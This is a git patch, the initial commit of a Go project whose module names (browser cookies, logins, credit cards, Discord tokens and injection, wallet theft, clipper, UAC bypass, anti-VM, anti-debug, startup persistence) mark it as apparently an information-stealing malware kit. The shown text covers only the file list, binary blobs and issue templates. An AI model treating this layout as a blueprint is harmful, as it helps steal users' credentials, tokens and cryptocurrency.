From 719b96352052d6d3c761814ee859830cf2b2b9d4 Mon Sep 17 00:00:00 2001 From: i2p Date: Thu, 27 Aug 2026 11:00:27 -0600 Subject: [PATCH] initial commit --- .DS_Store | Bin 0 -> 6148 bytes ._.gitignore | Bin 0 -> 211 bytes ._go.sum | Bin 0 -> 211 bytes ._main.go | Bin 0 -> 211 bytes ._modules | Bin 0 -> 211 bytes ._utils | Bin 0 -> 211 bytes .gitattributes | 2 + .github/.DS_Store | Bin 0 -> 6148 bytes .github/._ISSUE_TEMPLATE | Bin 0 -> 211 bytes .github/ISSUE_TEMPLATE/bug_report.md | 33 ++ .github/ISSUE_TEMPLATE/feature_request.md | 20 + .github/assets/._browsers.png | Bin 0 -> 211 bytes .github/assets/._codes.png | Bin 0 -> 211 bytes .github/assets/._discodes.png | Bin 0 -> 211 bytes .github/assets/._games.png | Bin 0 -> 211 bytes .github/assets/._system.png | Bin 0 -> 211 bytes .github/assets/._wallets.png | Bin 0 -> 211 bytes .github/assets/._walletsinjection.png | Bin 0 -> 211 bytes .github/assets/avatar.png | Bin 0 -> 29177 bytes .github/assets/browsers.png | Bin 0 -> 51541 bytes .github/assets/codes.png | Bin 0 -> 55588 bytes .github/assets/config.png | Bin 0 -> 19746 bytes .github/assets/discodes.png | Bin 0 -> 28288 bytes .github/assets/games.png | Bin 0 -> 29410 bytes .github/assets/kofi.png | Bin 0 -> 5799 bytes .github/assets/system.png | Bin 0 -> 81846 bytes .github/assets/token.png | Bin 0 -> 59006 bytes .github/assets/wallets.png | Bin 0 -> 25694 bytes .github/assets/walletsinjection.png | Bin 0 -> 17463 bytes .github/pull_request_template.md | 21 + .gitignore | 24 + CONTRIBUTING.md | 42 ++ LICENSE | 21 + README.md | 221 ++++++++ go.mod | 43 ++ go.sum | 122 +++++ main.go | 85 +++ modules/.DS_Store | Bin 0 -> 10244 bytes modules/._antivirus | Bin 0 -> 211 bytes modules/._commonfiles | Bin 0 -> 211 bytes modules/._system | Bin 0 -> 211 bytes modules/._wallets | Bin 0 -> 211 bytes modules/._walletsinjection | Bin 0 -> 211 bytes modules/antidebug/._antidebug.go | Bin 0 -> 211 bytes modules/antidebug/antidebug.go | 148 +++++ modules/antivirus/antivirus.go | 139 +++++ modules/antivm/antivm.go | 173 ++++++ modules/browsers/._cookies.go | Bin 0 -> 211 bytes modules/browsers/._crypto.go | Bin 0 -> 211 bytes modules/browsers/._downloads.go | Bin 0 -> 211 bytes modules/browsers/._logins.go | Bin 0 -> 211 bytes modules/browsers/._masterkey.go | Bin 0 -> 211 bytes modules/browsers/._structs.go | Bin 0 -> 211 bytes modules/browsers/browsers.go | 222 ++++++++ modules/browsers/conn.go | 17 + modules/browsers/cookies.go | 91 ++++ modules/browsers/creditcard.go | 52 ++ modules/browsers/crypto.go | 232 ++++++++ modules/browsers/decrypt.go | 43 ++ modules/browsers/downloads.go | 82 +++ modules/browsers/history.go | 83 +++ modules/browsers/logins.go | 99 ++++ modules/browsers/masterkey.go | 92 ++++ modules/browsers/paths.go | 58 ++ modules/browsers/structs.go | 63 +++ modules/clipper/._clipper.go | Bin 0 -> 211 bytes modules/clipper/clipper.go | 34 ++ modules/commonfiles/commonfiles.go | 182 +++++++ modules/discodes/discodes.go | 56 ++ modules/discordinjection/._injection.go | Bin 0 -> 211 bytes modules/discordinjection/injection.go | 169 ++++++ modules/fakeerror/fakeerror.go | 13 + modules/games/games.go | 129 +++++ modules/hideconsole/hideconsole.go | 12 + modules/startup/._startup.go | Bin 0 -> 211 bytes modules/startup/startup.go | 44 ++ modules/system/._system.go | Bin 0 -> 211 bytes modules/system/system.go | 263 +++++++++ modules/tokens/._structs.go | Bin 0 -> 211 bytes modules/tokens/structs.go | 33 ++ modules/tokens/tokens.go | 535 +++++++++++++++++++ modules/uacbypass/bypass.go | 96 ++++ modules/wallets/wallets.go | 228 ++++++++ modules/walletsinjection/walletsinjection.go | 97 ++++ utils/.DS_Store | Bin 0 -> 6148 bytes utils/._fileutil | Bin 0 -> 211 bytes utils/._hardware | Bin 0 -> 211 bytes utils/._requests | Bin 0 -> 211 bytes utils/fileutil/._fileutil.go | Bin 0 -> 211 bytes utils/fileutil/fileutil.go | 307 +++++++++++ utils/hardware/._hardware.go | Bin 0 -> 211 bytes utils/hardware/hardware.go | 72 +++ utils/program/program.go | 53 ++ utils/requests/requests.go | 196 +++++++ 94 files changed, 4747 insertions(+) create mode 100644 .DS_Store create mode 100644 ._.gitignore create mode 100644 ._go.sum create mode 100644 ._main.go create mode 100755 ._modules create mode 100755 ._utils create mode 100644 .gitattributes create mode 100644 .github/.DS_Store create mode 100755 .github/._ISSUE_TEMPLATE create mode 100644 .github/ISSUE_TEMPLATE/bug_report.md create mode 100644 .github/ISSUE_TEMPLATE/feature_request.md create mode 100644 .github/assets/._browsers.png create mode 100644 .github/assets/._codes.png create mode 100644 .github/assets/._discodes.png create mode 100644 .github/assets/._games.png create mode 100644 .github/assets/._system.png create mode 100644 .github/assets/._wallets.png create mode 100644 .github/assets/._walletsinjection.png create mode 100644 .github/assets/avatar.png create mode 100644 .github/assets/browsers.png create mode 100644 .github/assets/codes.png create mode 100644 .github/assets/config.png create mode 100644 .github/assets/discodes.png create mode 100644 .github/assets/games.png create mode 100644 .github/assets/kofi.png create mode 100644 .github/assets/system.png create mode 100644 .github/assets/token.png create mode 100644 .github/assets/wallets.png create mode 100644 .github/assets/walletsinjection.png create mode 100644 .github/pull_request_template.md create mode 100644 .gitignore create mode 100644 CONTRIBUTING.md create mode 100644 LICENSE create mode 100644 README.md create mode 100644 go.mod create mode 100644 go.sum create mode 100644 main.go create mode 100644 modules/.DS_Store create mode 100755 modules/._antivirus create mode 100755 modules/._commonfiles create mode 100755 modules/._system create mode 100755 modules/._wallets create mode 100755 modules/._walletsinjection create mode 100644 modules/antidebug/._antidebug.go create mode 100644 modules/antidebug/antidebug.go create mode 100644 modules/antivirus/antivirus.go create mode 100644 modules/antivm/antivm.go create mode 100644 modules/browsers/._cookies.go create mode 100644 modules/browsers/._crypto.go create mode 100644 modules/browsers/._downloads.go create mode 100644 modules/browsers/._logins.go create mode 100644 modules/browsers/._masterkey.go create mode 100644 modules/browsers/._structs.go create mode 100644 modules/browsers/browsers.go create mode 100644 modules/browsers/conn.go create mode 100644 modules/browsers/cookies.go create mode 100644 modules/browsers/creditcard.go create mode 100644 modules/browsers/crypto.go create mode 100644 modules/browsers/decrypt.go create mode 100644 modules/browsers/downloads.go create mode 100644 modules/browsers/history.go create mode 100644 modules/browsers/logins.go create mode 100644 modules/browsers/masterkey.go create mode 100644 modules/browsers/paths.go create mode 100644 modules/browsers/structs.go create mode 100644 modules/clipper/._clipper.go create mode 100644 modules/clipper/clipper.go create mode 100644 modules/commonfiles/commonfiles.go create mode 100644 modules/discodes/discodes.go create mode 100644 modules/discordinjection/._injection.go create mode 100644 modules/discordinjection/injection.go create mode 100644 modules/fakeerror/fakeerror.go create mode 100644 modules/games/games.go create mode 100644 modules/hideconsole/hideconsole.go create mode 100644 modules/startup/._startup.go create mode 100644 modules/startup/startup.go create mode 100644 modules/system/._system.go create mode 100644 modules/system/system.go create mode 100644 modules/tokens/._structs.go create mode 100644 modules/tokens/structs.go create mode 100644 modules/tokens/tokens.go create mode 100644 modules/uacbypass/bypass.go create mode 100644 modules/wallets/wallets.go create mode 100644 modules/walletsinjection/walletsinjection.go create mode 100644 utils/.DS_Store create mode 100755 utils/._fileutil create mode 100755 utils/._hardware create mode 100755 utils/._requests create mode 100644 utils/fileutil/._fileutil.go create mode 100644 utils/fileutil/fileutil.go create mode 100644 utils/hardware/._hardware.go create mode 100644 utils/hardware/hardware.go create mode 100644 utils/program/program.go create mode 100644 utils/requests/requests.go diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..f283c4e9ed919610b2d0a37c9949008012f9cd64 GIT binary patch literal 6148 zcmeHKK~BR!44j1mMIg~5$GiZkKL{m=2lNA|6tzf+Qi=ASM{(i-aD@X8;3tgNrs|SL z;(!oBwq#GbYwtR7saHkC!CRs@pSU`e7?V{V@zX&QTL5B@!%_Gw zy@bSMhPh#*$Qeq|P@;wgYcYa`b38M@+^|v9a0F{Ug6$lvLkV$ruAfDBgj~_BGvExQ z3}|$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/._go.sum b/._go.sum new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/._main.go b/._main.go new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/._modules b/._modules new file mode 100755 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/._utils b/._utils new file mode 100755 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..dfe0770 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/.github/.DS_Store b/.github/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..bd8506e592bbbcd3829bd94371733f8b5a5b28ba GIT binary patch literal 6148 zcmeHKO-sW-5Pe%isT8C~k9+jme~^|G5fp^zS*`Ws(2zp)=3#%G|HXgdo1LYYrXROb zWG2kK&Fsu>_HD>y0l4w!YzPbh^r(WJQ<@DT{h}@DB#(5uIK~H-^S5F7Tvv-$v^kEE z0ol7Qp0MQgg7y9DUc9dNS9MWL=k=6+$^GhIevjHQv%N8k_doARH*g4?;R+?Mdra_v zJK7uE;u<4qH{Yx5XJ7o5=iE6*Rd0OmojHwlz{@&Ji~(c77&vwYShGcXeMPgzfH7bU ztQe5*gQp7S34>z%bkM{j05PLG3fpp)kQ|>dPZ$*0Lvfl))Kr&_7*5ma_bDz<7!)-f zF3!wx(#$TMP+Xjyejmf(az(SofHBZy;6!f+QvWC0&;QLNyE6uifq%t-%ZjoXb4jVT wwiYL~)>9v;A`%xAS1D}7Qp{K>#pl#0^m}O#^MpZ>9*X@4L>kN(0|#Z`7kN5N1poj5 literal 0 HcmV?d00001 diff --git a/.github/._ISSUE_TEMPLATE b/.github/._ISSUE_TEMPLATE new file mode 100755 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..822ff21 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,33 @@ +--- +name: Bug report +about: Create a report to help us improve +title: '' +labels: '' +assignees: '' + +--- + +**Describe the bug** +A clear and concise description of what the bug is. + +**To Reproduce** +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +**Expected behavior** +A clear and concise description of what you expected to happen. + +**Screenshots** +If applicable, add screenshots to help explain your problem. + +**Desktop** + - Go version + - Windows version + - Module name + - Version of the app you are using the module on (if applicable) + +**Additional context** +Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..bbcbbe7 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,20 @@ +--- +name: Feature request +about: Suggest an idea for this project +title: '' +labels: '' +assignees: '' + +--- + +**Is your feature request related to a problem? Please describe.** +A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] + +**Describe the solution you'd like** +A clear and concise description of what you want to happen. + +**Describe alternatives you've considered** +A clear and concise description of any alternative solutions or features you've considered. + +**Additional context** +Add any other context or screenshots about the feature request here. diff --git a/.github/assets/._browsers.png b/.github/assets/._browsers.png new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/.github/assets/._codes.png b/.github/assets/._codes.png new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/.github/assets/._discodes.png b/.github/assets/._discodes.png new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/.github/assets/._games.png b/.github/assets/._games.png new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/.github/assets/._system.png b/.github/assets/._system.png new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/.github/assets/._wallets.png b/.github/assets/._wallets.png new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/.github/assets/._walletsinjection.png b/.github/assets/._walletsinjection.png new file mode 100644 index 0000000000000000000000000000000000000000..023f7313dd618d1041d9235607055d6beb3705ff GIT binary patch literal 211 zcmZQz6=P>$Vqox1Ojhs@R)|o50+1L3ClDI}@j@U5@h<~05x_AdBnYYuq+J^qI7A5ADWagzZ6zUroSQuKHS*BVfr&=UgI~66CrCM7Un;RH9 k8#(GanVMSYnwXop=sKCXxau0a8oHV~nHrm!m^d;30A$M_EdT%j literal 0 HcmV?d00001 diff --git a/.github/assets/avatar.png b/.github/assets/avatar.png new file mode 100644 index 0000000000000000000000000000000000000000..1bc5c71963c1ef345a38c6d780b6f966f1c27fa8 GIT binary patch literal 29177 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

fVm z(I9C*Q_4y2T;Wyf|7HO)x_`azT=GqPB2&Qzp(OD*S=M|RJCFfT){1jQehi?uAZNI; z){TCf6J>DAHtYbq-Z^glZnrkMi!WnD(`f&-jTh?a@AzWP?w$N&_Td>C#Xn~J=v4B} zUpAXAeNJOQlUDsQwWZHjkmY`dXa+#2%l`}E27qWPkFMdPj_U(r&)CV=3GB;eCm%@8{dz!9iOh{eN@Lf%Z@d_h z9}sQYKD2K%aHTkMq13jJtTfNt;`;yWxFD(I{XVRBR{e`n)$|uU*maZ0O`vKC26n7= zO4;2{yH#VUb^04m1P@%Fe?BJ(hguo>UwyWYjyC~)RgM`sT;bM!-p}E9s?UB0_mA{1 zENg8jKgaHw-ml%JBvV_<@AUG|Y|)gJANqKpCPm_V9zN^coeyXuRw6zJ^PddQy zd^X2d1pf!R;MTYKJ5!uI_{_FyP<|G~T3Lg47;TITVsB~vqj+!(R(dI3%3Uz@jNH&F z^zM-u75y@K{}e*-;|ujoy&OTkO=IZnv6tl1)~tPN`~$n+u5pxnG5aM5^D~L^*g`JA zNKo@dB`OG0ucMj&q`{ue&3trX|KNPw=ER#HC7E-5|vZ!zOfnESTR?o zJmSVjQA9KtPo|>x*K#o(eb@!h*d_yKWQfjKg&*!!fv{jr!|@f5&`k}>RxIuF%`I^E 